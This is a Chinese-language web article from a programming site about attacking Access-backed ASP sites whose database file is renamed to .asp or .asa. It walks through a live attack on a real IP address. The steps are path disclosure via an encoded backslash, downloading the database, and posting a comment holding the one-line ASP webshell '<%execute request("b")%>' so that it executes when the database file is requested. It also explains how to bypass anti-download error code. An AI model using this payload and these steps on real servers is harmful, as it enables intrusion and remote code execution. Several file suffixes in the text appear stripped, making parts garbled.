程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Access數據庫 >> 關於Access數據庫 >> 改mdb為asp所帶來的災難

改mdb為asp所帶來的災難

編輯:關於Access數據庫
 可能是隨著網絡安全技術的發展吧,管理員的素質都在提高,在使用Access+系統時,為不被人下載,到把mdb改為或asa。先不說直接改後綴,直接可以用網快等工具直接下載,其實這樣你已經是為入侵者打開了大門。入侵者可以利用/asa為後綴的直接得到webshell。

一.思路

  大家都知道<%%>為文件的標志符,也就是說一個文件只會去執行<% %>之間的代碼,Access+的web系統的所有數據都是存放在文件裡(mdb文件),由於管理者把mdb文件改為了文件,如果我們提交的數據裡包含有<% %>,那當我們訪問這個的時候就會去執行<% %>之間的代碼。這樣導致我們只提交惡意代碼給,那麼後綴的就是我們的webshell了。

二.示例

  隨便找個目標,首先我們暴庫,看是不是後綴的:
http://220.170.151.103/test/dlog%5cshowlog.?cat_id=5&log_id=210


  返回:

Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'

/IISHelp/common/500-100.,行242

Microsoft JET Database Engine 錯誤 '80004005'

'D:\log_mdb\%29dlog_mdb%29.'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。

/test/conn.,行18


  我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.返回一堆的亂碼,這樣我們可以直接用網際快車等工具直接下載(這裡我們不討論)。我們回到主頁看到有提供“網友評論”功能。我們注冊個用戶,發一條評論:

< %execute request("b")%>


  這樣我們就把代碼:<%execute request("b")%>寫入了,那麼:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.在亂碼的最後我們看到:

/IISHelp/common/500-100.,行242
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'

類型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.,行1266


  我們的插入的代碼運行了。
  注意:我們在向提交代碼時,代碼內容不可以太大。所以我們采用<%execute request("b")%>。

三.其他一些問題和思路

  1.對於改了後綴為,還對裡加入了<%=’a’-1%>等非法的代碼來徹底防止下載的,由於裡面存在了非法的代碼,插入我們的webshell代碼後運行,將只會顯示前面非法代碼的錯誤,而不去執行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入兼容錯誤的代碼,就可以得到正確顯示執行我們插入的webshell代碼了。

  2.對於沒有改後綴的,也就是mdb文件,這樣我們可以先直接下載下來得到後台密碼,進了後台,可以利用備用改後綴為。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved